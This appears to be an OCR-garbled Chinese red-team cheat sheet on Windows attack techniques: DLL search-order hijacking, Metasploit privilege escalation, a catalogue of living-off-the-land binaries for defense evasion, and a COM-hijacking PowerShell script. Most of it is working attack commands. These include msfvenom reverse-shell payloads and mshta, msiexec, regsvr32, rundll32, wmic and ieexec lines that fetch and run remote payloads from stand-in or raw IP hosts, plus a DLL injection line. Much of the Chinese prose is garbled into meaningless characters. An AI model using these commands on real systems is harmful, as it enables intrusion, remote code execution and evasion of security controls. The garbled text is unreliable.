windows can dynamically load DLLs Windows A] LA=hZ&HNE, DLL if full path
not used/missing,windows executes DLL Search Order d1RAK{EA/TR/DTEE
812, M Windows #117 DLL # X~ #I40: loadLibrary("ohnoes.dll") VS
LoadLibrary("c:\program files\ohnoes.dll") 1.The directory from which the
application loaded.iN&#NAEZEFNBE R, 2.The system directory RABEF
3.The 16-bit system directory

4.the windows directory 5.the current directory HajHB % 6.the directories
listed in the PATH environment variable PATH S/ ET /5 HAVE F

1IN BT NEER> DLL + A8 REZTTE = pwned

e pwned Ml pwn RE—1ER, FITTHEMXEFRENRNEE, REINIE S
W =2, EHF

Use Sysinternals Procmon {§F8 Sysinternals B97= 5, H2S02E, HEEMT
#, *include ".dlI" * include "NAME NOT FOUND" * inclued folder in path

use exploit/windows/local/ikeext_service
set dir c:\\python27

set session 19

exploit —j

sessions —c "shutdown /r /t 00"
sessions —i 20

getuid

getprivs
tools

e Powerup



e windows-privesc—check
e sysinternals suite

SEEHR: Windows X RIZFHER:
http://www.fuzzysecurity.com/tutorials/16.html SEFAY Windows tXfRIEF:
https://www.youtube.com/watch?v=PC_iMqiulRQ Windows &{E R A FRFAE
HHZ L FRRR:https://support.microsoft.com/en—us/help/243330/well-
known-security—identifiers—in—-windows—operating-systems {+/4 2 Exchange
Online Protection (EOP) : https://docs.microsoft.com/en—

us/office365/securitycompliance/eop/what—is—eop

T..Defense Evasion

BrElidkiEt 6145 5T 3 AT RE St B M E Bl il R LR RAHHIEV AR, B, XETHEHR
RABIRARERN ARG, XLERARRRHEISTEHHNEENTRIMNTLL . BHE%E
& A] A0 3 F R R TR RO EAR R BRIV — B 15

LOLBAS(Living Off The Land Binaries and Scripts), FZEZ%|F Microsoft &

BHX M, BIERIERGHNANAR Microsoft TERI M, BUTHIFRAVIRIE,
MEBANENEERBAEZIRAFNARBEN, FRBNEENKE BN,

$Z . https://lolbas-project.github.io/ https://github.com/LOLBAS-
Project/LOLBAS

1.MSBuild.exe

MSBuild & Microsoft Build Engine 89485, X3k Microsoft ] Visual Studio Y
HNERTS, BrREARTE Visual Studio FIIAERRIR.net B TFEH,
MSBuild ] 4R 1E4FEAL VAT xml 324



B E msbuild ] AZR1EHIT csharp K13,

pIELT T
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

C:\Windows\Microsoft. NET\Framework64\v4.0.30319\MSBuild.exe
PATREAE
B LA metersploit 4 B shellcode,

msfvenom —p windows/x64/meterpreter/reverse_tcp lhost=172.16.1.130 Iport=4444

—f csharp
RERIIMEUENR, MAFATERMR] shellcode

SRS msf W0

msfconsole

use exploit/multi/handler

set PAYLOAD windows/x64/meterpreter/reverse_tcp

set LHOST 172.16.1.130

set LPORT 4444set ExitOnSession falseset autorunscript migrate —n explorer.exe

exploit —j
£ Bntlles Lia1T

C:\Windows\Microsoft.NET\Framework64\v4.0.30319>MSBuild.exe "C:\Users\jack.
ODAY\Desktop\exec.xml"

RERIELLZ%, AEEERITHS
2.Installutil.exe

Installer TEAR— 1S {TERARER, AFEEIHTIEEERETNTEREZFA
HRZENHERSBERR. IWTHS System.Configuration.Install 52 % 8]+
HIE—EA.


https://github.com/3gstudent/msbuild-inline-task

SRR
C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\InstallUtil.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe

PATEERD
181T msfvenom 4R C # B shellcode

msfvenom —p windows/meterpreter/reverse_tcp lhost=172.16.1.130 Iport=4444 —f cs

harp

& InstallUtil-Shellcode.cs, & B4 AT shellcode E#IZE3Z cs X{4H csc
EIEFHIT InstallUtil-ShellCode.cs

C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /logfile= /LogTo
Console=false /U D:\test\InstallUtil-shell.exe

3.mshta.exe

mshta.exe & Windows F3Fiz1T Microsoft HTML BN B iz,

LT
C:\Windows\System32\mshta.exe

C:\Windows\SysWOW64\mshta.exe
PTG

mshta BEEHBELT SR, FHATRIAEEIE metasploit 4 LAY shellcode IEAZE!
hta X ERPHITIOE .

msfvenom —p windows/meterpreter/reverse_tcp lhost=172.16.1.130 Iport=4444 -f ra
w > shellcode.bin

cat shellcode.bin | base64 -w 0

REBHSUERIRTRY shellcode S5 RILAR hta 185 LR, A G BinlZ3H
1TA0T RS


 https://raw.githubusercontent.com/mdsecactivebreach/CACTUSTORCH/master/CACTUSTORCH.hta

mshta.exe http://xxx.com/shellcode.hta

4.Msiexec.exe

Msiexec & Windows Installer B9—&87 . FF %% Windows Installer Z3%

(MSI) ,—f%7E1E1T Microsoft Update RIREFML LR 0 IEGAIBMELIN, &
RAELERA. #EEMT Windows 2003, Windows 7 &, Msiexec B4R
MERMRTET .,

3B

C:\Windows\System32\msiexec.exe
C:\Windows\SysWOW64\msiexec.exe

PITEEAG

msiexec.exe /q /i http://xxx.com/shellcode.txt

5.wmic.exe

WMIC "B WMI (Windows Management Instrumentation, Windows &2 T
B) , REHTMSAMTEOMGSHANITRSGEBNIFHNNARER .

A

C:\Windows\System32\wbem\wmic.exe
C:\Windows\SysWOW64\wbem\wmic.exe

PATREA
wmic os get /FORMAT:"http://example.com/evil.xsl"

poc Mt AS

<xsl:stylesheet xmins:xsl="http://www.w3.org/TR/WD-xs|">
<l—
Original publication:

https://subtOx11.blogspot.lu/2018/04/wmicexe-whitelisting—bypass—hacking.html

Microsoft documentation:
https://docs.microsoft.com/en—us/dotnet/standard/data/xml/xslt—stylesheet—scrip

ting—using—-msxsl-script



Use—case/main objective:

— Windows Script Host is disabled or blocked

unconstrained script host bypass for Windows Defender Application Control

WMIC can invoke XSL (eXtensible Stylesheet Language) scripts, either locally or fro
m a URL.

Proof of concept based on C:\Windows\System32\wbem\texttable.xsl

PoC examples:
wmic process LIST /FORMAT:"C:\Users\WMI\poc-wmic.xsl"

OR:
wmic process get brief /format:"C:\Users\WMI\poc—wmic.xsl"
wmic process LIST /FORMAT:"\\127.0.0.1\c$\Users\WMI\poc-wmic.xs!"

#cat poc—wmic.xsl:
<?xml version=".0"?>
<stylesheet
xmins="http://www.w3.0rg/1999/XSL/Transform" xmlns:ms="urn:sch
emas-microsoft—com:xslt"
xmlins:user="placeholder"
version="1.0">
<output method="text"/>
<ms:script implements—prefix="user" language="JScript">
<I[CDATA[
var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /k ech
o 'Tapz!");
11> </ms:script>

</stylesheet>



Remote File example:

wmic os get /FORMAT:"https://example.com/evil xsl"

Basic PoC payload using Powershell oneliner + proxy authentication (from IE confi
g.):

PS C:\Users\pwnd\Desktop> powershell —exec bypass —c¢ "(New-Object Net.WebCl
ient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('192.1
68.13.37/test2.xsl') —outfile test2.xsl";$cmd="wmic os get /format:'test2.xsl"; iex $

cmd

Post-exploit Project that already implement this king of lateral movement:
https://github.com/zerosum0x0/koadic

——>

<xsl:script language="VBScript"><![CDATA[
Set shl = CreateObject("Wscript.Shell")
Call shl.Run("""calc.exe""")

1I></xsl:script>
<xsl:template match="/"><xsl:apply-templates select="//RESULTS"/><xsl:apply-te
mplates select="//INSTANCE"/><xsl:eval no-entities="true" language="VBScript">
DisplayValues(this)</xsl:eval></xsl:template>
<xsl:template match="RESULTS"><xsl:eval no—-entities="true" language="VBScript"
>CountResults(this)</xsl:eval></xsl:template>
<xsl:template match="INSTANCE"><xsl:eval language="VBScript">GotInstance()</x
sl:eval><xsl:apply-templates select="PROPERTY|PROPERTY.ARRAY|PROPERTY.RE
FERENCE"/></xsl:template>

</xsl:stylesheet>

6.Atbroker.exe

Atbroker.exe EMERHIEHEBIE AR (Assistive Technology)ZA 14



S BR AR
C:\Windows\System32\Atbroker.exe

C:\Windows\SysWOWG64\Atbroker.exe

PATEEAEBRAL

ATBroker.exe /start shellcode

% BITEEMRF I AT EXHRIB, DI ARGFMRFTER, EM
SEHENA R Assistibe Technology (AT) BRSEZEH. FREMNFR: User 2RIEZ&

£5: Windows 8, Windows 8.1, Windows 10

FEMS U http://www.hexacorn.com/blog/2016/07/22/beyond—-good-ol-

run—-key—part-42/
7.Bash.exe
S HEZEET window 10 £ linux FRAN RS L

EAz
C:\Windows\System32\bash.exe
C:\Windows\SysWOW64\bash.exe

AT B EAEBEAE
M bash.exe 11T calc.exe
bash.exe —c shellcode.exe

Bl $iTiEEX Y, rTRERERTWN, ATRFHRINARRE,
User ##{EZ&Z: Windows 10

8.Bitsadmin.exe
windows BT EEEAEeEEMmIIX G

LT
C:\Windows\System32\bitsadmin.exe

C:\Windows\SysWOW64\bitsadmin.exe

PR BR :



BRFAPITERSNL
lan: eI+ 189 bitsadmin fE\l, 4§ cmd.exe FRINEIEL, ECEFWIAME
REERETENS S, REMEF AR,

bitsadmin /create 1 bitsadmin /addfile 1 c:\windows\system32\cmd.exe c:\data\pla
yfolder\cmd.exe bitsadmin /SetNotifyCmdLine 1 c:\data\playfolder\1.txt:cmd.exe N
ULL bitsadmin /RESUME 1 bitsadmin /complete 1

B EERIUERPHITIEEXX M, vIBEMREMEREBSIFAMRAR, REN
FR: User #fEZ%t: Windows Vista, Windows 7, Windows 8, Windows
8.1, Windows 10

9.Cmd.exe
Windows FHar S 1THETESS

XFEERR
C:\Windows\System32\cmd.exe

C:\Windows\SysWOW64\cmd.exe
PAT R
WASRINEIEER (ADS) .

cmd.exe /c echo regsvr32.exe */s */u */i:https://raw.githubusercontent.com/redca
naryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct *scrobj.dll > fakefile.

doc:payload.bat

HATEMEERBEIR R payload.bat ( ADS)

cmd.exe — < fakefile.doc:payload.bat

Faf: =] BT AE A M XS SRE PR I i R AN H FRERAXPR: User #ERSE:
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10



10.Cmstp.exe

CMSTP 25 Microsoft EiZ EIE 3B E XU LR EREF RN HFIXHE, =
INF X ff, JEXHRI MBI TR m< RN, MEZA (SCT) #DLL BRI
TTIERAR,

LT
C:\Windows\System32\cmstp.exe

C:\Windows\SysWOW64\cmstp.exe
PATREAG

ERRIRZREERNIERT, BRTRIFFREINAM.INF, INF XHEHEE
UnRegisterOCXSection 8%, 1%ER{£F scrobj.dll $#117.SCT X4,

cmstp.exe /ni /s c:\cmstp\CorpVPN.inf

ETCIEREERNIER T, FRTREHEIIINIZEINF, INFXHEE
UnRegisterOCXSection &%), %&R8%{£A scrobj.dll #117.SCT X4,

cmstp.exe /ni /s https://raw.githubusercontent.com/apiOcradle/LOLBAS/master/O
SBinaries/Payload/Cmstp.inf

R HATRRETE inf XEEFHKEE. BIZM Internet HUITRIB,  FRFEINER:
User ##EZ&%:: Windows Vista, Windows 7, Windows 8, Windows 8.1,
Windows 10

11.Diskshadow.exe

AR
C:\Windows\System32\diskshadow.exe
C:\Windows\SysWOW64\diskshadow.exe

Dump
{EFRHERZIFH diskshadow BIZARHR diskshadow.exe HIITaH <,

diskshadow.exe /s c:\test\diskshadow.txt



F3%5: {EF8 diskshadow M VSS FIIREXNENRENIE, @0 NTDS.dit FREEMXPR: User

BIEZZ: Windows server
PATREAY
{£F diskshadow.exe H1T7an < AL B Fi# T2

diskshadow> exec calc.exe

FAf: {£F diskshadow ZRIIRAHIIEXS SR FRFEANFR: User #RIERSE:

Windows server

12.Dnscmd.exe
FTF&E DNS RSB a L1TAREN —H#iliZR
7.2

C:\Windows\System32\Dnscmd.exe
C:\Windows\SysWOW64\Dnscmd.exe

PAT R

W AN%sH DLL ¥E79 DNS BRSSRVIERM . Lthan< il Z M Z DnsAdmins ZHEY G HY
FAF7E DC L£i&1T.

dnscmd.exe dcl.lab.int /config /serverlevelplugindll \\192.168.0.149\dI\wtf.dlI

B miziEN dil E dns fRZ28 FREANPR: DNS admin REZZE: Windows

server

13.Extexport.exe
PLS T

C:\Program Files\Internet Explorer\Extexport.exe

C:\Program Files (x86)\Internet Explorer\Extexport.exe
PITREAE

FRUTRIRZ—IEAT c:\test XHFAHHEY DLL mozert19.dll, mozsglite3.dll
5 sqlite.dll



Extexport.exe c:\test foo bar

FAf: $4T dil X FREEANBR: User #RIERZE: Windows Vista, Windows 7,
Windows 8, Windows 8.1, Windows 10

14.Forfiles.exe
EEFEHPIT I —EBX TS, BRTIHAE,

EAz
C:\Windows\System32\forfiles.exe
C:\Windows\SysWOW64\forfiles.exe

PITREAE

47 calc.exe,

forfiles /p c:\windows\system32 /m notepad.exe /c calc.exe
HAT evil.exe,

forfiles /p c:\windows\system32 /m notepad.exe /c "c:\folder\normal.dll:evil.exe"

Faf51: {$F forfiles MERIBIE SR REURRP I Z# I X BehinATE FEAR:
User ¥ EZ&%%: Windows vista, Windows 7, Windows 8, Windows 8.1,
Windows 10

15.Ftp.exe
T FTP BRS8N _#HHIRE
AR

C:\Windows\System32\ftp.exe
C:\Windows\SysWOW64\ftp.exe

PATEEARY
PATHREXAXHPHGR .

echo Icalc.exe > ftpcommands.txt && ftp —s:ftpcommands.txt



FBf: {£F ftp.exe £FTHAERITHEAIE, FAFEH YourCommand tXFR: A
P BEZRL: Windows 7, Windows 8, Windows 8.1, Windows 10

16.Gpscript.exe

LT
C:\Windows\System32\gpscript.exe

C:\Windows\SysWOW64\gpscript.exe
PATERERD
AR PRESZRIA,

Gpscript /logon

AR EC B SRR A

Gpscript /startup

FBf: ARInZAsithsE SRR B R A AT XA H R RBA I XTI SRIE e FREEtN R :
Administrator #{EZ&%:: Windows Vista, Windows 7, Windows 8,
Windows 8.1, Windows 10

B{f$#: https://oddvar.moe/2018/04/27/gpscript-exe—another—lolbin—
to—the-list/

17.Hh.exe
FBF1&E Windows H4 8 chm SUARRY Z iS4

LT
C:\Windows\System32\hh.exeC:\Windows\SysWOW64\hh.ex

T&
£/ HTML ZEBISXH$TH B4R PowerShell BIZ,

HH.exe http://some.url/script.ps1



PATREAE
{EF HTML B 41T calc.exe,

HH.exe c:\windows\system32\calc.exe

FAf5l: {£MA HH.exe MATEHMHAIZE BEE FAIEAPR: User RIERL:
Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10

18.le4duinit.exe
AR

c:\windows\system32\ie4uinit.exe
c:\windows\sysWOW®64\ieduinit.exe
c:\windows\system32\ieuinit.inf
c:\windows\sysWOW64\ieuinit.inf

PITRERE
MEITESR ieduinitinf XEFHITHS,
ieduinit.exe —BaseSettings

A BEERIXHERBRITRIS—MIE FIEMXR: User RIERSE:
Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10

#IES2£E: https://bohops.com/2018/03/10/leveraging—inf-sct—fetch—

execute-techniques—for-bypass-evasion—persistence—part-2/
19.leexec.exe

IEExec.exe &.Net tEZRHRH— PRI HITXEE, BESSIBITIEE URL RIGITIEEER
ZEMRLEHNNEBRER.

SRR
C:\Windows\Microsoft.NET\Framework\v2.0.50727\ieexec.exe

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\ieexec.exe



TEHPITERAE
MIZFZRRSS 2] T HFHNIT bypass.exe,

ieexec.exe http://x.x.x.x:8080/bypass.exe

R MIZERRMIE THHETREERE FHEMNR: User ##ER%E: Windows
Vista, Windows 7, Windows 8, Windows 8.1, Windows 10
20.Infdefaultinstall.exe

S BR AR
C:\Windows\System32\Infdefaultinstall.exe

C:\Windows\SysWOW64\Infdefaultinstall.exe
PITREAY
{5 F scrobj.dll MEIAZI4FAERRY INF XHFHRaSHAT SCT A,

InfDefaultinstall.exe Infdefaultinstall.inf

FAf: CIB1T FREEINBR: User #R1EZ%E: Windows Vista, Windows 7,
Windows 8, Windows 8.1, Windows 10

21.Installutil.exe
Installer TEZ—1Ta<ITXARER, AFEEBRIRITIEERZERETNZEIZERA
HREZEMNERBZRZER

SRR
C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\InstallUtil.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe

W 345 et

H1TB#R.NET DLL 3 EXE,

InstallUtil.exe /logfile= /LogToConsole=false /U AllTheThings.dll



PATEEAE

H1TB#R.NET DLL 3 EXE,

InstallUtil.exe /logfile= /LogToConsole=false /U AllTheThings.dll

Rl BFHTRBHEINAZFERE REMNR: User RIERSE:
Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10

22.Mavinject.exe
S BR AR

C:\Windows\System32\mavinject.exe
C:\Windows\SysWOW64\mavinject.exe

P EERNG
{£F3 PID 3110 %% evil.dIl S NiFHFE,

Mavinject.exe 3110 /INJECTRUNNING c:\folder\evil.dll

BEENZREEER (ADS) B file.dl SEANZIEE PID 4172 19i#F2H

Mavinject.exe 4172 /INJECTRUNNING "c:\ads\file.txt:file.dll"

FBH: 3 dil XEENETEETHEIZ FIEINPR: User 1RERST: Windows
Vista, Windows 7, Windows 8, Windows 8.1, Windows 10

23.Microsoft.Workflow.Compiler.exe

S BR AR
C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft. Workflow.Compiler.

exe
PITRERG
£ test.xml XHA5| I XOML X4, 4miFH1T C# 3L VB.net {13,

Microsoft.Workflow.Compiler.exe tests.xml results.xml

Bl mENETRE FABMNER: User IR{EZR%: Windows 10S



24. Mmc.exe
BEREITMBIAN. mFZEIE Windows ZRAN _#HFTER,

LT
C:\Windows\System32\mmc.exe

C:\Windows\SysWOW64\mmc.exe
PITEEARG

Ba“Ea”MMC #iZHiEA COM B g
mmc.exe —Embedding c:\path\to\test.msc

B EEETERTTUMBESRINELEMERN COM BEXZE (CLSID)  FREN
BR: User ##{EZ%: Windows 10

25.Msconfig.exe

MSConfig @— IR T E, BFlaRNZANENEBERNIREFIZ TR
4, RBIWENFERE Windows BRSS, MUEBIAFHE Windows IR 6] AR EH

PLS T
C:\Windows\System32\msconfig.exe

PATRERG
AT ORITHY c:\windows\system32\mscfgtlc.xml FER NBIFZ .

Msconfig.exe -5

FAf5l: {£MA Msconfig.exe T8 FREANPR: BIER BRIERLE: Windows
vista, Windows 7, Windows 8, Windows 8.1, Windows 10

26.Msdt.exe

LT
C:\Windows\System32\Msdt.exeC:\Windows\SysWOW64\Msdt.exe

PATEEA

4T Microsoft 27 T 1T PCWSES5S7.xml X {4/ 5| BHYEE . MSI,



msdt.exe —path C:\WINDOWS\diagnostics\index\PCWDiagnostic.xml —af C:\PCW8
E57.xml /skip TRUE

B iTRBRINEEFARE RHEMNR: User ERZ: Windows
Vista, Windows 7, Windows 8, Windows 8.1, Windows 10
27.Mshta.exe

LT
C:\Windows\System32\mshta.exe

C:\Windows\SysWOW64\mshta.exe

AT

FTF BAR.HTA HF#1T8R A\ JavaScript, JScript 8§ VBScript,
mshta.exe evilfile.hta

RATIERN LTS EUR AR VBScript,

mshta.exe vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload|.]

sct")")
BTN ST S IR JavaScript,

mshta.exe javascript:a=GetObject("script:https://raw.githubusercontent.com/LOLB
AS-Project/LOLBAS/master/OSBinaries/Payload/Mshta_calc.sct").Exec();close();

BB TS FREANBR: User #R{EZ4T: Windows Vista, Windows 7,
Windows 8, Windows 8.1, Windows 10 Mitre: T1170 )

28.Msiexec.exe
F Windows BB F#1T msi X4 B HIFE =
AR

C:\Windows\System32\msiexec.exe
C:\Windows\SysWOW64\msiexec.exe



PATREAE
MEER A LR Bi5.MSI X5,

msiexec /quiet /i cmd.msi

MEBRA R REBnaENESZN.MS XHE,

msiexec /q /i http://192.168.100.3/tmp/cmd.png

FAfBl: {EMAREInFERS /U HRIBINITEE X msi X4
VA F DLLRegisterServer ;3 B#4% DLL.,

msiexec /y "C:\folder\evil.dll"
A8 DLLRegisterServer BUH A B#4n DLL,

msiexec /z "C:\folder\evil.dll"

BB 1T dIl XX FREEXPR: User #RIEZR%E: Windows Vista, Windows 7,
Windows 8, Windows 8.1, Windows 10

29.0dbcconf.exe
7£ Windows AT &1E ODBC EIEN _H&HIEF

LT
C:\Windows\System32\odbcconf.exe

C:\Windows\SysWOW64\odbcconf.exe

PATBREAE

N BAR.RSP X4 HEER DLL, BXRBI.RSP X4, 1EZ(H Playloads {4
xz,

odbcconf —f file.rsp

https://gist.githubusercontent.com/NickTyrer/6ef02ce3fd623483137b45f65
017352b/raw/fdffd313397ef13da61e329a9e8709f7d2458ebc/odbcconf.cs



FAf: {EFB] DARLEBA AN M4 XS SRAVF AR AT dil X4 PREEAXPR: User RIERSE:
Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10

30.Pcalua.exe
EFRESMBFER

XFEERR
C:\Windows\System32\pcalua.exe

PATEEARS
(ERREFRE TN FTIT Bin.EXE,

pcalua.exe —a calc.exe

{3 Program Compatibilty Assistant $3JFFB#5.DLL {4,

pcalua.exe —a \\server\payload.dl|

Bl T EEARE FREINFR: User 1R1ERZE: Windows vista, Windows 7,
Windows 8, Windows 8.1, Windows 10

31.Presentationhost.exe
XERFRAT RN AR
AR

C:\Windows\System32\Presentationhost.exe
C:\Windows\SysWOW64\Presentationhost.exe

PATEREARE
HATEAT XAML RS23RN AEF (XBAP) X

Presentationhost.exe C:\temp\Evil.xbap

FAf5l: £ xbap XHFHITAIE FIEXFR: User #ERST: Windows vista,
Windows 7, Windows 8, Windows 8.1, Windows 10



32.Regasm.exe

Bz
C:\Windows\Microsoft.NET\Framework\v2.0.50727\regasm.exe
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\regasm.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe

IR B4 555
hn# B ¥5.DLL XHEH 1T RegisterClass K1,

regasm.exe AllTheThingsx64.dll

HATHNE B45.DLL X 4H 1T RegisterClass KX,

regasm.exe AllTheThingsx64.dll

R TRBHEINAEFRBRE FrEXR: User IRIERST: Windows
Vista, Windows 7, Windows 8, Windows 8.1, Windows 10

33.Register-cimprovider.exe
S BR AR

C:\Windows\System32\Register—cimprovider.exe
C:\Windows\SysWOW64\Register—cimprovider.exe

PATRERG
N B4n.DLL,

Register—cimprovider —path "C:\folder\evil.dIl"

FABI: 47 dil SXKEHRRRES FREEANBR: User 2{EZR4E: Windows Vista,
Windows 7, Windows 8, Windows 8.1, Windows 10

34.Regsvcs.exe

Regsvcs #l Regasm & Windows s 1T AER, AT EM.NET A RIEE
(COM) &



S BR AR
C:\Windows\System32\regsvcs.exe

C:\Windows\SysWOW64\regsvcs.exe
PATER ARG
hn# B ¥5.DLL XHH 1T RegisterClass KK,

regsvcs.exe AllTheThingsx64.dll

B 347 dil XEHSEINBEEFERE FIEMNR: User 1RERLE: Windows
Vista, Windows 7, Windows 8, Windows 8.1, Windows 10 Mitre: T1121

R FRfERF BB B g B i5.DLL XH4FH 1T RegisterClass BRE.

regsvcs.exe AllTheThingsx64.dll

B 347 dIl XEHSEINBEEFERE FIHEMNR: User 1RERLE: Windows
Vista, Windows 7, Windows 8, Windows 8.1, Windows 10

35.Regsvr32.exe
FH Windows F§F7E## dli

S BR AR
C:\Windows\System32\regsvr32.exe

C:\Windows\SysWOW64\regsvr32.exe
I R 14 B g3

1§58 scrobj.dll H{TIEEHITFE.SCT BIZS,

regsvr32 /s /n /u /i:http://example.com/file.sct scrobj.dll

1§ scrobj.dll FUTHEERIAME.SCT HIAN,
regsvr32.exe /s /u /i:file.sct scrobj.dll
PATEEARG

{3 scrobj.dll iITIEERIIZFZE.SCT HIA,



regsvr32 /s /n /u /i:http://example.com/file.sct scrobj.dll

{8 scrobj.dil FATIEEMNAM.SCT B,

regsvr32.exe /s /u /i:file.sct scrobj.dll

FAf5: M scriptlet ATRIE, ZINARFBERE FIENIR: User IRIERSE:
Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10

36.Rundli32.exe
B Windows FIF#1T dIl 3214

S BR AR
C:\Windows\System32\rundll32.exeC:\Windows\SysWOW64\rundll32.exe

?ﬂ’f—f}u\%"ft@

AllTheThingsx64 2 .DLL X4, EntryPoint }$2E#4T89.DLL XEFHANOS
RN

rundl32.exe AllTheThingsx64,EntryPoint

£ RundlI32.exe H1TIEIT MIZFEM UL T £HY PowerShell BiiANHY JavaScript i
K,

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20
ActiveXObject("WScript.Shell").Run("powershell —nop —exec bypass —c IEX (New-O
bject Net.WebClient).DownloadString('http://ip:port/');"

£/ Rundll32.exe #1T151T calc.exe B JavaScript HIZ

rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new%20Active
XObject(\"WScript.Shell\");w.run(\"calc\");window.close()");

{1 Rundll32.exe H11TiG1T calc.exe B JavaScript filZds, SAE&IE
Rundll32.exe #HizFIB T



rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%
20ActiveXObject("WScript.Shell").run("calc.exe",0,true);try{h.Send();b=h.ResponseTe
xt;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /i

m rundll32.exe",0,true);}

{£A Rundll32.exe 1T IRTE JavaScript B4y JavaScript fil7s,

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObje
ct("script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/mast

er/test")

{£/ Rundll32.exe IN& 2 F MEi #3509 COM Server X%, thiERT
ProglD,

rundll32.exe —sta {CLSID}

17 ADS #189.DLL X145,

rundll32 "C:\ads\file.txt:ADSDLL.dII",DlIMain

Rl SATEREUERPNAE PREAR: User RIERZE: Windows Vista,
Windows 7, Windows 8, Windows 8.1, Windows 10

37 COM Hj#F
37.1 COM #j##(T1122)Component Object Model Hijacking(# 1)

T e Lkl | — —

REG SZ SharedOverlayHandler Class



e
lagses 5 Injected
BIET am @ =& e “EEHIEENA RE
A REG S2 o.dil - -
B LoadWithouC... REG SZ L 1O s TR EFIRIE,
8 TheesdingMod_ REGSZ
1 A wrEn
W ERTREER
= ) = AE IR
L FERERN,
8 asmpsw EARETEIL 2019/6/18 1255
D ERERIDETRR R
v asp
(1805864 A& mEEm
| (sssssssst B ShEmGARLR
Inpracsen ) —
Shefelde CERSE R I ERT T R SAITR E OneDrive,
(5ABTITZC8
(A0396A83-0 |, @ OneDrive

£J Process Monitor - Sysinternals: www.sysinternals.com
File Edit Event Filter Tools Options Help

led | ABE | A& B a5 B8 L0

Frocess Name FID Operat

Detail Path

C: \Users‘demon\Desktop'mbox. d11

ssiur g EADIGIED. Ear
5345857 Ty explorer. exe
5346096 g explorer exe

S
[ p———
T enplorer exs
5346984 Ty explorer. exe
5347188 Ty explorer. exe

Desired Acces.
NAME NOT FOUND Desired Acces

5347437 Ty explorer. exe SUCCESS \Software'\Classes'\CLSIDY
5348535 g explorer exe SUCCESS Desired Acees sers'demon’Desktop’mbox.
340842 Gy explorer. exs SUCCESS CreationTime:... sers’\demon'Desktopzbox.
340988 g explorer. exs SUCCESS
358835 | explorer. exe SUCCESS

5259921 Ty explorer exe FILE LOCKED T,
7 explorer exe

explorer exe

- el el el ol el

"C:\Program Files\Internet Explorer\iexplore.exe" shell:::{55555555-5555-5555-55
55-555555555555}
C:\Windows\explorer.exe shell:::{55555555-5555-5555-5555-555555555555}

$CLSID = "55555555-5555-5555-5555-555555555555"

Remove-Item —Recurse —Force —Path "HKCU:\Software\Classes\CLSID\{$CLSID}"
—ErrorAction SilentlyContinue

$payload = "C:\Users\demon\Desktop\mbox.dll"

New-Iltem —Path "HKCU:\Software\Classes\CLSID" —ErrorAction SilentlyContinue |
Out—Null

New-Item —Path "HKCU:\Software\Classes\CLSID\{$CLSID}" | Out-Null



New-Item —Path "HKCU:\Software\Classes\CLSID\{$CLSID}\InProcServer32" | Out
—Null

New-Item —Path "HKCU:\Software\Classes\CLSID\{$CLSID}\ShellFolder" | Out—Nul
|

New-ItemProperty —Path "HKCU:\Software\Classes\CLSID\{$CLSID}\InProcServer
32" —Name "(default)" —Value $Payload | Out—Null

New-ItemProperty —Path "HKCU:\Software\Classes\CLSID\{$CLSID}\InProcServer
32" —Name "ThreadingModel" -Value "Apartment" | Out-Null

New-ItemProperty —Path "HKCU:\Software\Classes\CLSID\{$CLSID}\InProcServer
32" —Name "LoadWithoutCOM" =Value "" | Out-Null

New-ItemProperty —Path "HKCU:\Software\Classes\CLSID\{$CLSID}\ShellFolder"
—Name "HideOnDesktop" —Value "" | Out—Null

New-ItemProperty —Path "HKCU:\Software\Classes\CLSID\{$CLSID}\ShellFolder"
—Name "Attributes” —Value 0xf090013d —PropertyType DWORD | Out—Null

# force iexplore to load the malicious DLL and execute it

$shellWinGuid = [System.Guid]::Parse("{9BA05972-F6A8-11CF-A442-00A0C90A8F
39}")

$typeShwin = [System.Typel::GetTypeFromCLSID($shellWinGuid)

$shwin = [System.Activator]::Createlnstance($typeShwin) | ? {$_.fullname —match 'ie
xplore'} | Select—Object —First 1

$shwin.Navigate2("shell:::{$CLSID}", 2048)

SZEZE R https://ired.team/offensive—security/code—execution/forcing—

iexplore.exe—to-load—a-malicious—dll-via—com-abuse

AE W S:https://www.ggsec.cn/comhijack2.html



37.2 COM #j#(T1122)Component Object Model Hijacking(fl 2)

EETTITP e PR

=
% Windows IEfEZE FFITE:

COM Hijacking

Uzers'demon>

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnc



e]

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnc
e\setup]

